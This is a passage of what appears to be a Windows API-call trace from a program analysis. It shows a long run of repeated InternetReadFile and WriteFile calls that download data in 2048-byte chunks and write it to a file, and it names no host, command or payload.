returned 1 [0258.124] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.124] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.124] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.124] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.124] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.125] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.125] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.125] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.125] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.125] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.125] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.125] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.125] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.126] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.153] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.154] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.154] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.154] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.155] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.155] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.155] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.156] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.156] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.156] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.157] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.157] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.157] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.157] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.158] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.158] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.158] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.158] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.158] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.158] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.158] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.159] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.159] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.159] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.159] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.160] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.160] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.160] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.160] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.161] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.161] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.161] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.161] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.177] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.177] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.178] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.178] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.178] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.179] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.182] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.182] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.183] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.183] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.183] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.183] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.184] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.184] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.184] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.184] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.184] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.184] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.184] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.185] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.185] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.186] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.186] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.186] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.187] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.187] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.187] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.187] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, 